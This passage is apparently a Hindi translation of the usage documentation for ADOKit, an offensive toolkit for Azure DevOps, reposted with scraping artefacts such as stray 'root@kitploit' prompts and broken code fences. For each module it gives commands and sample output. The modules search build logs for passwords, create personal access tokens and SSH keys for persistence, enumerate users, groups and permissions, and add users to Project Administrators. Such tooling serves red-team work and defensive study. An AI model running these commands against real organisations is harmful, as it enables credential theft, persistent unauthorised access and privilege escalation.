ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"

उदाहरण आउटपुट```

C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"

================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:06:20 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Searching build logs

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.

[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1

-----------SNIP-----------

[*] Match count : 9

root@kitploit:~
### PAT बनाएं

#### उपयोग केस

> *एक उपयोगकर्ता के लिए एक व्यक्तिगत एक्सेस टोकन (PAT) बनाएं जिसका उपयोग Azure DevOps इंस्टेंस में स्थायित्व के लिए किया जा सकता है।*

#### सिंटैक्स

`createpat` मॉड्यूल, किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। यह बनाए गए PAT के PAT ID, नाम, दायरा, वैधता तिथि और टोकन सामग्री को आउटपुट करेगा। बनाए गए PAT का नाम `ADOKit-` होगा जिसके बाद 8 वर्णों की एक यादृच्छिक स्ट्रिंग होगी। PAT की वैधता तिथि निर्माण की तिथि से 1 वर्ष होगी, क्योंकि Azure DevOps द्वारा अनुमत अधिकतम यही है।

`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         createpat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                  PAT ID |                           Name |                          Scope |                    Valid Until |                                        Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

पैट्स की सूची बनाएं

उपयोग मामला

Azure DevOps इंस्टेंस में किसी दिए गए उपयोगकर्ता के लिए सभी व्यक्तिगत एक्सेस टोकन (PAT) की सूची बनाएं।

सिंटैक्स

listpat मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL दें। यह उपयोगकर्ता के सभी सक्रिय PAT के लिए PAT ID, नाम, स्कोप और वैधता तिथि आउटपुट करेगा।

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

उदाहरण आउटपुट```

C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                              PAT ID |                           Name |                          Scope |                    Valid Until

root@kitploit:~
9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 |                       ADOKit-rJxzpZwZ |                      app_token |          3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

root@kitploit:~
### PAT हटाएं

#### उपयोग का मामला

> *किसी Azure DevOps इंस्टेंस में दिए गए उपयोगकर्ता के लिए PAT हटाएं।*

#### वाक्यविन्यास

`removepat` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इसके अतिरिक्त, `/id:` तर्क में PAT का ID प्रदान करें। यह आउटपुट देगा कि PAT हटाया गया या नहीं, और फिर हटाने के बाद उपयोगकर्ता के वर्तमान सक्रिय PAT की सूची दिखाएगा।

`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`

`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module:         removepat
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

                                  PAT ID |                           Name |                          Scope |                    Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
    9b354668-4424-4505-a35f-d0989034da18 |                     test-token |                      app_token |           4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

SSH कुंजी बनाएं

उपयोग का मामला

किसी उपयोगकर्ता के लिए SSH कुंजी बनाएं जिसका उपयोग Azure DevOps इंस्टेंस में स्थायी पहुंच के लिए किया जा सके।

सिंटैक्स

createsshkey मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इसके अलावा, अपनी सार्वजनिक SSH कुंजी /sshkey: आर्गुमेंट में प्रदान करें। इससे SSH कुंजी आईडी, नाम, दायरा, मान्यता तिथि, और बनाई गई SSH कुंजी के सार्वजनिक SSH कुंजी के अंतिम 20 अक्षर आउटपुट होंगे। बनाई गई SSH कुंजी का नाम ADOKit- होगा, जिसके बाद 8 अक्षरों का एक यादृच्छिक स्ट्रिंग होगा। SSH कुंजी की मान्यता तिथि निर्माण तिथि से 1 वर्ष होगी, क्योंकि Azure DevOps द्वारा अधिकतम इतनी ही अनुमति है।

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

उदाहरण आउटपुट```

C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### SSH कुंजियाँ सूचीबद्ध करें

#### उपयोग का मामला

> *किसी Azure DevOps इंस्टेंस में किसी दिए गए उपयोगकर्ता के लिए सभी सार्वजनिक SSH कुंजियाँ सूचीबद्ध करें।*

#### वाक्यविन्यास

`listsshkey` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह उपयोगकर्ता के लिए सभी सक्रिय SSH कुंजियों का SSH कुंजी ID, नाम, दायरा, और मान्यता तिथि तक आउटपुट करेगा। इसके अतिरिक्त, यह सार्वजनिक SSH कुंजी के अंतिम 20 वर्ण भी प्रिंट करेगा।

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

SSH कुंजी हटाएं

उपयोग मामला

किसी Azure DevOps इंस्टेंस में किसी विशिष्ट उपयोगकर्ता के लिए SSH कुंजी हटाएं।

वाक्यविन्यास

removesshkey मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इसके अतिरिक्त, /id: तर्क में SSH कुंजी का ID प्रदान करें। यह आउटपुट देगा कि SSH कुंजी हटाई गई या नहीं, और फिर हटाने के बाद उपयोगकर्ता के वर्तमान सक्रिय SSH कुंजियों को सूचीबद्ध करेगा।

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

उदाहरण आउटपुट```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### उपयोगकर्ताओं की सूची बनाएं

#### उपयोग केस

> *Azure DevOps इंस्टेंस में उपयोगकर्ताओं की सूची बनाएं*

#### सिंटैक्स

`listuser` मॉड्यूल प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह उपयोगकर्ता नाम, प्रदर्शन नाम और उपयोगकर्ता प्रमुख नाम आउटपुट करेगा।

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

उपयोगकर्ता खोजें

उपयोग मामला

Azure DevOps इंस्टेंस में दिए गए उपयोगकर्ता(ओं) को खोजें

सिंटैक्स

searchuser मॉड्यूल और अपनी खोज मापदंड /search: कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी। यह मिलान करने वाले उपयोगकर्ता नाम, प्रदर्शन नाम और उपयोगकर्ता प्रिंसिपल नाम को आउटपुट करेगा।

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

उदाहरण आउटपुट```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### टीमों की सूची बनाएं

#### उपयोग का मामला

> *Azure DevOps इंस्टेंस के भीतर टीमों की सूची बनाएं*

#### सिंटैक्स

`listteam` मॉड्यूल, प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ प्रदान करें। यह टीम का नाम, प्रोजेक्ट का नाम और टीम का विवरण आउटपुट करेगा।

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

खोज दल

उपयोग मामला

Azure DevOps उदाहरण में दिए गए दल(दलों) की खोज करें

वाक्य विन्यास

searchteam मॉड्यूल और अपने खोज मानदंड को /search: कमांड-लाइन तर्क में प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह दल के नाम, परियोजना के नाम और दल के विवरण को आउटपुट करेगा।

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

उदाहरण आउटपुट```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### टीम सदस्य प्राप्त करें

#### उपयोग मामला

> *किसी दिए गए टीम के लिए टीम सदस्य प्राप्त करें*

#### सिंटैक्स

`getteammembers` मॉड्यूल और अपने खोज मानदंड को `/search:` कमांड-लाइन आर्गुमेंट में प्रदान करें, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL। यह टीम का नाम, टीम सदस्य का उपयोगकर्ता नाम, और टीम सदस्य का प्रदर्शन नाम आउटपुट करेगा।

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### उदाहरण आउटपुट```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

==================================================
Module:         getteammembers
Auth Type:      API Key
Search Term:    dev team
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 10:45:11 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                                     Username |                                  User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
                                          Dev Team |             [email protected] |                                             User 1
                                          Dev Team |             [email protected] |                                              user3
                                          Dev Team |             [email protected] |                                              user4

समूह सूचीबद्ध करें

उपयोग का मामला

Azure DevOps उदाहरण के भीतर समूहों को सूचीबद्ध करें

वाक्य-विन्यास

Provide the listgroup module, along with any relevant authentication information and URL. This will output the user principal name, display name and description of group.

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

उदाहरण आउटपुट```

C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
                    [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data

[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management

---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

root@kitploit:~
### खोज समूह

#### उपयोग स्थिति

> *Azure DevOps इंस्टेंस में दिए गए समूह(समूहों) की खोज करें*

#### सिंटैक्स

`searchgroup` मॉड्यूल और `/search:` कमांड-लाइन आर्गुमेंट में अपने खोज मापदंड प्रदान करें, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। इससे मिलान करने वाले समूह के लिए उपयोगकर्ता प्रमुख नाम, प्रदर्शन नाम और विवरण आउटपुट होगा।

`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`

`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module:         searchgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                   UPN |                   Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                  [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                    [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                 [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                 [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
           [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                     [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                   [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
     [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                                  [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

समूह सदस्य प्राप्त करें

उपयोग मामला

किसी दिए गए समूह के लिए सभी समूह सदस्यों को सूचीबद्ध करें

सिंटैक्स

getgroupmembers मॉड्यूल और उन समूह(समूहों) को प्रदान करें जिन्हें आप /group: कमांड-लाइन आर्गुमेंट में खोजना चाहते हैं, साथ ही किसी भी प्रासंगिक प्रमाणीकरण जानकारी और URL के साथ। यह मिलान करने वाले समूह के उपयोगकर्ता प्रमुख नाम को आउटपुट करेगा, साथ ही उस समूह के प्रत्येक समूह सदस्य को उपयोगकर्ता के मेल पते और प्रदर्शन नाम सहित।

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

उदाहरण आउटपुट```

C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 2
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                 [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                               [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

root@kitploit:~
### प्रोजेक्ट अनुमतियाँ प्राप्त करें

#### उपयोग का मामला

> *किसी दिए गए प्रोजेक्ट में किसके पास अनुमतियाँ हैं इसकी सूची प्राप्त करें।*

#### सिंटैक्स

`getpermissions` मॉड्यूल और वह प्रोजेक्ट प्रदान करें जिसे आप `/project:` कमांड-लाइन आर्गुमेंट में खोजना चाहते हैं, साथ ही कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL भी प्रदान करें। इससे मेल खाने वाले समूह के लिए उपयोगकर्ता प्रिंसिपल नाम, प्रदर्शन नाम और विवरण आउटपुट होगा। इसके अतिरिक्त, यह उन समूहों में से प्रत्येक के लिए समूह सदस्यों को भी आउटपुट करेगा।

`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`

`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpermissions
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
               [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
             [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
                [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.


[*] INFO: Listing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                      [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

प्रोजेक्ट व्यवस्थापक जोड़ें

उपयोग मामला

किसी दिए गए प्रोजेक्ट के लिए Project Administrators समूह में एक उपयोगकर्ता जोड़ें।

सिंटैक्स

addprojectadmin मॉड्यूल को /project: और /user: के साथ प्रदान करें, ताकि दिए गए प्रोजेक्ट के लिए किसी उपयोगकर्ता को Project Administrators समूह में जोड़ा जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। यह क्रिया करने के लिए आवश्यक अनुमतियाँ मॉड्यूल विवरण तालिका में देखें।

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

उदाहरण आउटपुट```

C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

root@kitploit:~
### प्रोजेक्ट एडमिन हटाएं

#### उपयोग केस

> *किसी दिए गए प्रोजेक्ट के लिए प्रोजेक्ट प्रशासक समूह से एक उपयोगकर्ता हटाएं।*

#### सिंटैक्स

`removeprojectadmin` मॉड्यूल को `/project:` और `/user:` के साथ प्रदान करें ताकि किसी दिए गए उपयोगकर्ता को दिए गए प्रोजेक्ट के लिए `Project Administrators` समूह से हटाया जा सके। इसके अतिरिक्त, कोई भी प्रासंगिक प्रमाणीकरण जानकारी और URL प्रदान करें। इस कार्रवाई को करने के लिए आवश्यक अनुमतियों के लिए [मॉड्यूल विवरण तालिका](#module-details-table) देखें।

`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### उदाहरण आउटपुट```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removeprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

बिल्ड एडमिन जोड़ें

उपयोग परिदृश्य

